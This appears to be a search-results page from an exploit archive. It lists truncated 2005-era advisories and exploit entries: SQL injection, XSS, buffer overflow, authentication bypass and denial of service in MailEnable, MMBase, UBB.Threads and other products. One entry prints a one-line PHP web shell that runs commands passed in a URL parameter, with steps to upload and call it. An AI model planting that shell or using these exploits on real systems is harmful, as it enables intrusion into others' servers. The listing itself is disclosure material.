4497 matches found
MailEnable Enterprise Edition 1.1 (EXAMINE) Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits =================================================================== MailEnable Enterprise Edition 1.1 EXAMINE Buffer Overflow Exploit =================================================================== !/usr/bin/python Remote Mailenable...
MMBase XSS vuln.
MMBase XSS vuln. Vuln. discovered by : r0t Date: 19 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/mmbase-xss-vuln.html vendor:http://www.mmbase.org/ affected version: 1.7.4 and prior Product Description: Open source object oriented Java based enterprise content management system...
Blog System v1.2 SQL inj. vuln.
Blog System v1.2 SQL inj. vuln. Vuln. dicovered by : r0t Date: 5 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/blog-system-v12-sql-inj-vuln.html vendor:http://www.netartmedia.net/blogsystem/ affected version:v1.2 and prior Product Description: Blog System allows you to launch and...
MyTemplateSite XSS vuln.
MyTemplateSite XSS vuln. Vuln. dicovered by : r0t Date: 3 dec. 2005 Orginal advisory:http://pridels.blogspot.com/2005/12/mytemplatesite-xss-vuln.html vendor:http://www.infinetsoftware.com/products/mts/default.asp affected version: 1.2 and prior Product Description: Create your own template site...
Lore SQL inj. vuln.
Lore SQL inj. vuln. Vuln. dicovered by : r0t Date: 1 dec. 2005 Orginal advisory:http://pridels.blogspot.com/2005/12/lore-sql-inj-vuln.html Vendor:http://www.pineappletechnologies.com/products/lore/ affected version: Tested on 1.5.4 Product Description: Lore is a professional knowledge base...
Zainu 2.x SQL inj. vuln.
Zainu 2.x SQL inj. vuln. Vuln. dicovered by : r0t Date: 28 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/zainu-2x-sql-inj-vuln.html Vendor:http://www.zainu.com affected version: 2.x and prior Product Description: Zainu lets you create and maintain professional music videos websit...
Cyphor (Release: 0.19) Sql injection
Hello This is sql injection in cyphor Discovered by : HACKERS PAL Greets For Devil-00 - Abducter - Almaster -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- injected vresions :- Cyphor Release: 0.19 and all Versions Up To now -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- injected File show.php...
upload phpshell in PHPFM
upload phpshell in PHPFM discovered by rUnViRuS www.worlddefacers.net www.security-arab.com =-=-=-=-=-=-=-=-= the code shell :- --------------- pre ? passthru$GET'cmd'; ? save as cmd.php now upload in PHPFM =-=-=-= Used Shell =-=-=-= www.site.com/file upload name/files/cmd.php?cmd=command linux...
baalASPSQL.txt
------------------------------------------------------ Nightmare TeAmZ Advisory 002 ------------------------------------------------------ Date - 10/2005 BaalASP Free Bulletin Board Sql Injection Admin Login AFFECTED PRODUCTS ================= BaalASP Free Bulletin Board...
AVCraftedArchive.txt
-=====================================================================- Release Date : 2005-10-05 Tested on: Windows 2000 SP2 & SP4 Tested with: Jotti Online Antivirus Scanner Tested with: VirusTotal Online Antivirus Scanner Tested with: Command line freeware UnRAR v3.50 Tested with: PowerZip v7....
noahSQLXSS.txt
Software: phpoutsourcing Noah's classifieds Vendor: http://classifieds.phpoutsourcing.com/ Version: all versions Bug: SQL injection & XSS Exploitation: Remote with browser ------------------------------------------------------------------------------------- Introduction: Noah' Classifieds is a...
kpopper10.txt
kpopper insecure temporary file creation Vendor: http://kpopper.sourceforge.net/ Advisory: http://www.zataz.net/adviso/kpopper-06152005.txt Vendor informed: yes Exploit available: yes Impact : low Exploitation : low The vulnerability is caused due to temporary file being created insecurely. This...
PHPXMAIL - Authentication Bypass
Author: Stefan Lochbihler Date: 6. Juli 2005 Affected Software: PHPXMAIL Software Version: 0.7 - 1.1 Software URL: http://phpxmail.sourceforge.net/ Attack: Authentication Bypass Overview: PhpXmail is a web based management software for the Xmail mail server written in php. It's main usage is as a...
[Full-disclosure] ekg insecure temporary file creation and arbitrary code execution
ekg insecure temporary file creation and arbitrary code execution Vendor: http://dev.null.pl/ekg/ Advisory: http://www.zataz.net/adviso/ekg-06062005.txt Vendor informed: yes Exploit available: no Impact : high Exploitation : high The vulnerabilities are caused due to temporary file being created...
UBBCentral UBB.Threads < 6.5.2 Beta - 'mailthread.php' SQL Injection
Alphaprogrammer , Oilkarchack , TheCephaleX , Str0ke And Iranian Hacking & Security Teams : IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team , Crouz Security Team & Simorgh-ev Security Team Config : please replace your address : $url = "http:///www.example.com"; please replace...
UBBCentral UBB.Threads 6.5.2 Beta - mailthread.php SQL Injection
UBBCentral UBB.Threads 6.5.2 Beta - mailthread.php SQL Injection Alphaprogrammer , Oilkarchack , TheCephaleX , Str0ke And Iranian Hacking & Security Teams : IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team , Crouz Security Team & Simorgh-ev Security Team Config : please replace...
FutureSoft TFTP Server 2000 Remote Denial of Service Exploit
Exploit for unknown platform in category dos / poc ============================================================ FutureSoft TFTP Server 2000 Remote Denial of Service Exploit ============================================================ / FutureSoft TFTP Server 2000 Remote Denial of Service Exploit...
Maxwebportal 1.36 - 'Password.asp' Change Password (2)
------------------------------------------ / Config address - example: http://www.site.com/password.asp $url = "http://www.mohamad.com/password.asp"; $mh = "s1"; if webmaxportal version is : Version 1.35 and older please input $mh= "s1" if webmaxportal version is : Version 1.36 , 2.0 please input...
ICUII 7.0 - Local Password Disclosure
/ ICUII 7.0 Local Password Disclosure Exploit by Kozan Application: ICUII 7.0 and probably prior versions Procuder: Cybration - www.icuii.com Vulnerable Description: ICUII 7.0 discloses passwords to local users. Discovered & Coded by Kozan Credits to ATmaCA www.netmagister.com -...